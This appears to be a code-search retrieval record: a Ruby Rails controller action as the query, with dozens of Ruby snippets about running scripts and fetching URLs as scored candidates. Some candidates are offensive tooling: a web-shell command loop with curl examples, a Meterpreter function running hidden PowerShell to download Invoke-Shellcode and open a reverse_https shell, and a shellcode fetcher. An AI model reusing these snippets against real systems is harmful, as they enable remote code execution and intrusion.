"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def setup\n url = \"\"\n start = \"\"\n final = \"\"\n execute = false\n\n puts \"Please enter base URL format.\"\n url = gets.chomp\n puts \"Start number?\"\n start = gets.chomp\n puts \"Final number?\"\n final = gets.chomp\n puts confirmation(url, start, final)\n execute = true if gets.chomp == \"\"\n if execute == false\n setup\n elsif execute == true\n # run\n end\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def run_request(method, url, body, headers); end",
"def bind(url); end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def url\n \"#{JabberAdmin.configuration.url.strip.chomp('/')}/#{@command}\"\n end",
"def ws_go args\n\t\tget_alert\n\t\turl = args[:url].should_not!(:be_nil).should_not!(:be_empty)\n\t\turl = (url =~ /(^http:)|(^file:)/) ? url : \"http://#{url}\"\n\t\t\n\t\[email protected] url\n\t\twait_for_load\n\t\treturn \"\"\n\tend",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end",
"def scdisplay(id)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/shellcode/files/shellcode-#{id}.php\", {'User-Agent' => 'Shell-Storm Ruby API - Display'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tputs \"#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}\"\n\t\tputs res.body.split(\"\\n\")[7..-13].join(\"\\n\").gsub('"', '\"').gsub('>', '>').gsub('<', '<').gsub('&', '&')\n\t\tputs \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend",
"def script=(_arg0); end",
"def fetch(url)\n\tputs \"now fetchin \" + url\n\tresponse = \"\"\n\tfilename = \"cache/\" + url.split(\"/\")[-1]\n\t\n\tbegin\n\t#If the file doesn't exist, download it\n\t if ! File.exists?(filename)\n\t open(url) { |f| response = f.read }\n\t File.open(filename, 'w') {|f| f.write(response) }\n # Give the website a break\n sleep(5)\n\t end\n\t \n # Open the saved file eitherway\n open(filename) { |f| response = f.read }\n\t thedoc = Hpricot(response)\n\n\trescue Exception => e\n\t print e, \"\\n\"\n\t debugger\n\tend\n\treturn thedoc\nend"
] | [
"0.6601394",
"0.6477018",
"0.6313268",
"0.62140787",
"0.6207827",
"0.6207827",
"0.61791366",
"0.61791366",
"0.60919094",
"0.5984265",
"0.5966487",
"0.5835891",
"0.579875",
"0.578373",
"0.5777577",
"0.5775059",
"0.5757025",
"0.5745799",
"0.5731728",
"0.568103",
"0.5661622",
"0.5661332",
"0.56465703",
"0.5622302",
"0.5609589",
"0.5609013",
"0.560594",
"0.55864304",
"0.55857503",
"0.55154693",
"0.5514472",
"0.55133504",
"0.5504828",
"0.5487799",
"0.5482291",
"0.54625666",
"0.5445132",
"0.54328775",
"0.5429732",
"0.5412659",
"0.54112154",
"0.54090434",
"0.54024893",
"0.53958803",
"0.53946316",
"0.5390855",
"0.538969",
"0.53892976",
"0.53590417",
"0.53527856",
"0.5351817",
"0.53511345",
"0.534772",
"0.53334403",
"0.53334403",
"0.5327479",
"0.53208596",
"0.5320112",
"0.53143954",
"0.5312546",
"0.53111035",
"0.5309958",
"0.5308476",
"0.5307972",
"0.5304152",
"0.5272987",
"0.5253687",
"0.52500516",
"0.52486867",
"0.5248004",
"0.5246949",
"0.52453697",
"0.52441484",
"0.5237202",
"0.52371126",
"0.52325964",
"0.522484",
"0.5214478",
"0.52010024",
"0.51971084",
"0.5196057",
"0.5190729",
"0.5185373",
"0.516639",
"0.51642984",
"0.51616645",
"0.5158921",
"0.51584756",
"0.5157304",
"0.5156219",
"0.5154243",
"0.51469195",
"0.51469195",
"0.5146277",
"0.51427424",
"0.51381296",
"0.51314914",
"0.5122925",
"0.51210964",
"0.5120136",
"0.5111567"
] | 0.0 | -1 |
execute this script by using the url " | def random_expand_or_attack
@user = User.find_by_name(get_random_user_name)
if @user == nil
redirect_to( :controller => "users", :action => "index" )
else
@result = ScalabilityTest.random_expand_or_attack(@user.id, :MODE_EXPAND_ATTACK)
if @result != true
flash[:notice] = @result
end
redirect_to( :controller => "zones", :action => "index" )
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def script\n # escape command parameter\n params[:command] = params[:command].gsub('..', '').gsub(';', '');\n\n ret = @uri.script(params[:command].split(',')[0], params[:command].split(',')[1])\n render plain: ret[:message], status: ret[:status]\n end",
"def execute_script(script, *args); end",
"def execute script\n native.execute_script script\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def open url\r\n command 'open', url_arg(url)\r\n end",
"def script; end",
"def script; end",
"def perform(url)\n scrape_url(url)\n end",
"def cmd\n c = [\"open #{page_url}\"]\n c << argument_string(unknown_options) unless unknown_options.empty?\n c.join(\"\\n\")\n end",
"def run(iContent)\n lError = launchURL(iContent)\n if (lError != nil)\n log_err lError\n end\n end",
"def run_script\n Script.new(instructions, storage, self).execute\n end",
"def web\n Minimart::Commands::Web.new(options).execute!\n\n rescue Minimart::Error::BaseError => e\n Minimart::Error.handle_exception(e)\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def execute_script(file)\n abspath = ::File.expand_path(file,@pwd.full_path)\n execute(Rush::File.new(abspath).contents)\n end",
"def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend",
"def execute(xml)\n\t\tAPIRequest.execute(url,xml.to_s)\n\tend",
"def script_load(script); end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def execute_async_script(script, *args); end",
"def go()\n\[email protected] @url\n end",
"def launch(url)\n Java::limelight.Context.instance.os.launch(url)\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def go_to(url)\n driver.get url\n end",
"def execute\n @result = MdnQuery::SearchResult.from_url(url)\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def blog\n system(\"open #{blog_url}\")\n end",
"def browse(url)\n if RUBY_PLATFORM =~ /darwin/\n `open #{url}`\n elsif RUBY_PLATFORM =~ /linux/\n `#{ENV['BROWSER']} #{url}`\n elsif ENV['OS'] == 'Windows_NT' or\n RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw|wince/i\n `start \"\" \"#{url}\"`\n end\n end",
"def execute_call_plain(url)\n res = Net::HTTP.get_response(URI.parse(url))\n case res\n when Net::HTTPRedirection\n # Return the new URL\n res['location']\n when Net::HTTPSuccess\n res.body\n else\n raise TransportError.new(res)\n end\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
"def url(argv)\n require 'uri'\n\n arg = argv[8..-1]\n arg.gsub!(\"#\",\"%23\")\n pdf, page = arg.split(\"%23\")\n\n # check if this is my page, or someone else's\n if My_domains.index( URI.parse(cururl).host )\n fname = \"#{PDF_path}/#{pdf}.pdf\"\n else\n fname = try { get_pdf_from_refpage }\n fail \"Not able to automatically download PDF\" unless fname\n end\n\n if File.exists?(fname)\n skim = Appscript.app('skim')\n dd = skim.open(fname)\n dd.go({:to => dd.pages.get[page.to_i-1]}) unless page == nil\n skim.activate\n else\n growl(\"File not found\", \"Cannot find PDF #{fname}\")\n end\nend",
"def execute_script(script, *args)\n driver.execute_script(script, *args)\n end",
"def run\n puts url\n html = Games::FetchHtml.run(url: url)\n games = parse_html(html)\n return \"No data for #{date} #{sport}\" if games.nil?\n save_wunder_data(games)\n end",
"def run_script(scriptname, params)\n body = request(:post, \"script/#{scriptname}/run\", 'text/plain', params)\n JSON.parse(body)['result']\n end",
"def run\n super\n\n entity_name = _get_entity_name\n opt_create_entities = _get_option(\"create_entities\")\n \n # Make sure the key is set\n api_key = _get_task_config(\"publicwww_api_key\")\n\n # special case google analytics, as we can find interesting things by not \n # sending the last bit of the key\n if entity_name =~ /^ua-.*$/i\n entity_name = entity_name.split(\"-\")[0..-2].join(\"-\")\n _log \"Dropping trailing part of google user agent: #{entity_name}\"\n end\n\n\n # Craft the UniqueToken search URL to export\n query_url = \"https://publicwww.com/websites/%22#{entity_name}-%22/?export=urls&key=#{api_key}\"\n \n # Download the xport\n download = http_get_body(query_url)\n \n # read the file results\n download.split(\"\\n\").each do |found_url|\n _create_entity(\"Uri\" , \"name\" => found_url) if opt_create_entities\n end\n\n # store links as an extended detail\n _set_entity_detail(\"public_www_results\", { entity_name => download.split(\"\\n\")[1..30] } )\n\n end",
"def goto(url)\r\n #set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n # Load the given url.\r\n $jssh_socket.send(\"#{BROWSER_VAR}.loadURI(\\\"#{url}\\\");\\n\" , 0)\r\n read_socket()\r\n\r\n wait()\r\n end",
"def download_bandcamp_url(folder_name, url)\n \"cd audio/#{folder_name} && ruby ../../scripts/bandcamp_downloader/bandcamp_downloader.rb #{url}\"\n end",
"def download_youtube_url(folder_name, url)\n \"ruby ./scripts/youtube-audio-downloader/youtube-audio.rb url #{url} ./audio/#{folder_name}\"\n end",
"def loadfile _file_url, _append\n send_cmd(\"loadfile #{_file_url} #{_append}\")\n end",
"def run\n make_request(@path)\n end",
"def run(robot, script)\n\nend",
"def execute_script(*args)\n raises_error { __getobj__.execute_script(*args) }\n end",
"def execute(url_chunk, additional_options = {})\n request = ::Typhoeus::Request.new(\n Addressable::URI.escape(\"#{service_url}/#{url_chunk}\"),\n options[:typhoeus].merge({ method: :get\n })\n .merge(additional_options)\n )\n request.run\n response = request.response\n validate_response(response)\n response\n end",
"def openurl(url)\n runcmd 'openurl', url\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def run_host(ip)\n\t\t# If URLFILE is set empty, obviously the user made a silly mistake\n\t\tif datastore['URLFILE'].empty?\n\t\t\tprint_error(\"Please specify a URLFILE\")\n\t\t\treturn\n\t\tend\n\n\t\t# Initialize the actual URLFILE path\n\t\tif datastore['URLFILE'] == \"sap_icm_paths.txt\"\n\t\t\turl_file = \"#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}\"\n\t\telse\n\t\t\t# Not the default sap_icm_paths file\n\t\t\turl_file = datastore['URLFILE']\n\t\tend\n\n\t\t# If URLFILE path doesn't exist, no point to continue the rest of the script\n\t\tif not File.exists?(url_file)\n\t\t\tprint_error(\"Required URL list #{url_file} was not found\")\n\t\t\treturn\n\t\tend\n\n\t\tres = send_request_cgi(\n\t\t\t{\n\t\t\t\t'uri' => \"/\" + Rex::Text.rand_text_alpha(12),\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'ctype' => 'text/plain',\n\t\t\t}, 20)\n\n\t\tif res\n\t\t\tprint_status(\"Note: Please note these URLs may or may not be of interest based on server configuration\")\n\t\t\t@info = []\n\t\t\tif not res.headers['Server'].nil?\n\t\t\t\t@info << res.headers['Server']\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}\")\n\t\t\telse\n\t\t\t\tprint_status(\"#{rhost}:#{rport} Server responded with a blank or missing Server Header\")\n\t\t\tend\n\n\t\t\tif (res.body and /class=\"note\">(.*)code:(.*)</i.match(res.body) )\n\t\t\t\tprint_error(\"#{rhost}:#{rport} SAP ICM error message: #{$2}\")\n\t\t\tend\n\n\t\t\t# Load URLs\n\t\t\turls_to_check = []\n\t\t\tf = File.open(url_file)\n\t\t\tf.each_line do |line|\n\t\t\t\turls_to_check.push line\n\t\t\tend\n\n\t\t\tprint_status(\"#{rhost}:#{rport} Beginning URL check\")\n\t\t\turls_to_check.each do |url|\n\t\t\t\tcheck_url(url.strip)\n\t\t\tend\n\t\telse\n\t\t\tprint_error(\"#{rhost}:#{rport} No response received\")\n\t\tend\n\n\tend",
"def run_result; result['run_cyber_dojo_sh']; end",
"def background_visit(url, opts = {})\r\n require 'httpclient'\r\n begin\r\n client = HTTPClient.new\r\n if url && url =~ /^http/\r\n http_response = client.get(url).body\r\n else\r\n base_url = $TESTWISE_PROJECT_BASE_URL || $TESTWISE_PROJECT_BASE_URL || $BASE_URL\r\n http_response = client.get(\"#{base_url}#{url}\").body\r\n end\r\n\t\t\t\t\r\n\t\t\t\thttp_response = http_response.content if http_response.respond_to?(\"content\")\r\n rescue => e\r\n raise e\r\n end\r\n end",
"def agi_url\r\n script = @params['agi_network_script']\r\n return \"/#{script}\"\r\n\tend",
"def usage\n puts \"$ #{__FILE__} SRC_PATH TARGET_PATH THREAD_COUNT\"\n puts \"$ #{__FILE__} user.url . 8\"\n exit\nend",
"def action(type)\n ENV[\"runner_path\"] = $runner_path\n\n dirname = File.dirname(File.expand_path(__FILE__))\n script = File.join(dirname, \"action.py\")\n\n puts \"Calling python script: #{script} #{type}\"\n exec(\"python\", script, type, *$items)\nend",
"def script(script_file)\n load script_file\n\n self\n end",
"def exec; end",
"def exec; end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def ab_command\n \"ab -r -e #{export_file_name} -n #{requests} -c #{concurrency} #{url}\"\n end",
"def execute_file( filename )\n text = File.read(filename)\n execute(text)\n end",
"def originate url, args={}, &block\n extension = args.delete(:extension)\n dialplan = args.delete(:dialplan)\n context = args.delete(:context)\n\n vars = args.map {|k,v| \"#{k}=#{v}\"}.join(\",\")\n\n arg_string = \"{#{vars}}\" + \n [url, extension, dialplan, context].compact.join(\" \")\n command \"originate\", arg_string, &block\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def get(url); end",
"def open_url(code)\n url = URL+code\n puts url\n open(url).read\n end",
"def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end",
"def help\n puts \"usage: #{@script} --site [URL]\"\n puts\n puts \" --site the site name to save the site\"\nend",
"def execute_command\n begin\n if @cgi.has_key?('type') then\n doc = REXML::Document.new\n command = doc.add_element 'COMMAND'\n @cgi.params.each_pair { |key,value| command.attributes[key]=value}\n xmlCommand = doc.to_s\n socket = TCPSocket.new(@host,@port)\n socket.puts xmlCommand \n xmlResult = socket.gets.chop\n docResult = REXML::Document.new xmlResult\n end\n rescue\n puts 'Probleem bij uitvoeren commando'\n exit\n end\n end",
"def execute_request(method, url, opts = {})\n server.execute_request(\n method,\n [name, url.sub(/^\\//, '')].join('/'),\n opts.merge(username: username, password: password))\n end",
"def run\n html = URI.open(URL).read\n document = Nokogiri::HTML(html)\n storage = Storage.new(Procedure)\n \n Procedure.transaction do\n BLOCKS.each do |block|\n procedures = block.new(document).run\n storage.save procedures\n end\n end\n end",
"def script(name, param = nil)\n self.script_request.new(self.seed, name, param)\n end",
"def execute_script(file_name, conn, keys, argv)\n conn.evalsha(\n script_sha(conn, file_name),\n keys,\n argv,\n )\n end",
"def exec(query)\n data = make_args(query) \n\n begin\n result, = Net::HTTP.new(@host).post(@path, data)\n @report = result.body\n output = parse_report(@report)\n end\n\n return output\n end",
"def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def perform_execute_request(data = {})\n execute_recipe(version, data)\n end",
"def execute\n options = {\n method: :post,\n timeout: 6000,\n open_timeout: 6000,\n accept: :schema\n }\n options.merge!(url: @url, payload: @html)\n begin\n res = RestClient::Request.execute(options).to_str\n @response = JSON.parse(res)\n rescue => e\n puts \"some problems with #{@url}\"\n puts e\n nil\n end\n end",
"def load_script(file); end",
"def execution_url\n requires :links\n link = links.find { |l| l['rel'] == 'capability' }\n link['href'] rescue nil\n end",
"def run\n @uri = urlize()\n validate_content validate_url( @uri, 'rt' ).read\n end",
"def open_url(url)\n if RbConfig::CONFIG['host_os'] =~ /darwin/\n system %(open \"#{url}\")\n elsif RbConfig::CONFIG['host_os'] =~ /linux|bsd/\n system %(xdg-open \"#{url}\")\n else\n puts 'Not Supported OS!'.red\n end\n end",
"def execute(url_chunk, options = {})\n options = (@options[:request] || {}).merge(options)\n Request.new(self, url_chunk, options).execute\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def job(url)\n server(url).job(URI(url).path)\n end",
"def execute_script filename\n # script_path = '~/.config/cetus/scripts'\n script_path = File.join(CONFIG_PATH, 'cetus', 'scripts')\n script = File.expand_path(File.join(script_path, filename))\n unless File.exist? script\n perror \"Unable to find #{filename}: #{script}\"\n return\n end\n\n scripts script\nend",
"def execute_script(script, *args)\n args.map! { |item| item.class == Locatine::Element ? item.answer : item }\n response = api_request('/execute/sync', 'Post',\n { script: script, args: args }.to_json).body\n value = JSON.parse(response, max_nesting: false)['value']\n error_present = (value.class == Hash) && value['error']\n raise_script_error(script, args, value) if error_present\n\n value\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CommanD)> \"\n http = EasyCurb.new\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n $config['HTTP']['HTTP_HEADERS_ADD']=true\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez = http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS_ADD']=false\n end\n end\n end",
"def url_command(template:, path:, count: nil, parameters: {}, data: nil)\n query = parameters.map { |k, v| encode(k) + \"=\" + encode(v) }.join(\"&\")\n query = (path =~ /\\?/ ? \"&\" : \"?\") + query unless query.empty?\n \"#{data or @cat} | #{@run} url template #{shell_quoted(template)} prefix #{shell_quoted(path)} suffix #{shell_quoted(query)}#{\" count #{count}\" if count}\"\n end",
"def fetch(url) \n puts \"Fetching url #{url}\";\n str = `curl -silent \"#{url}\"`\n return str\nend",
"def setup\n url = \"\"\n start = \"\"\n final = \"\"\n execute = false\n\n puts \"Please enter base URL format.\"\n url = gets.chomp\n puts \"Start number?\"\n start = gets.chomp\n puts \"Final number?\"\n final = gets.chomp\n puts confirmation(url, start, final)\n execute = true if gets.chomp == \"\"\n if execute == false\n setup\n elsif execute == true\n # run\n end\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def run_request(method, url, body, headers); end",
"def bind(url); end",
"def command_exec(session,lhost,lport)\n print_status(\"Running Invoke-Shellcode, Please wait 4-7 seconds.\")\n r=''\n begin\n r = session.sys.process.execute(\"C:\\\\WINDOWS\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -Command iex(New-Object Net.WebClient).DownloadString('http://URLHERE');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost #{lhost} -Lport #{lport} -Force\", nil, {'Hidden' => true, 'Channelized' => true})\n r.channel.close\n r.close\n rescue ::Exception => e\n print_error(\"Error Running Invoke-Shellcode, Sounds like a problem between the keyboard and the monitor.....: #{e.class} #{e}\")\n end\nend",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def execute_command(cmd, options = {})\n active_window.do_script(cmd, options)\n end",
"def run(url, run_context)\n results = []\n\n unless (url =~ URI::regexp).nil?\n update_resource url\n end\n \n @creation_commands.each do |cmd|\n begin\n cmd.call(results)\n rescue \n puts \"Whoops! #{$!}\" \n end\n end\n\n return results\n end",
"def url\n \"#{JabberAdmin.configuration.url.strip.chomp('/')}/#{@command}\"\n end",
"def ws_go args\n\t\tget_alert\n\t\turl = args[:url].should_not!(:be_nil).should_not!(:be_empty)\n\t\turl = (url =~ /(^http:)|(^file:)/) ? url : \"http://#{url}\"\n\t\t\n\t\[email protected] url\n\t\twait_for_load\n\t\treturn \"\"\n\tend",
"def execute(command)\n begin\n puts \"* Executing command '#{command}' for the Github API\"\n Timeout.timeout(35) do\n http = Net::HTTP.new(\"github.com\", 80)\n response, content = http.get(\"/api/v1/yaml/#{@user}/#{@repo}/#{command}\")\n content\n end\n rescue Exception => e\n puts \"[!] Error when connecting to Github API (Message: #{e.message})\"\n nil\n end\n end",
"def run_cmd(cmd)\n req = JsonRequest.new(\"exec\", cmd.to_hash)\n return req.exec(agent_uri)\n end",
"def scdisplay(id)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/shellcode/files/shellcode-#{id}.php\", {'User-Agent' => 'Shell-Storm Ruby API - Display'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tputs \"#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}\"\n\t\tputs res.body.split(\"\\n\")[7..-13].join(\"\\n\").gsub('"', '\"').gsub('>', '>').gsub('<', '<').gsub('&', '&')\n\t\tputs \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend",
"def script=(_arg0); end",
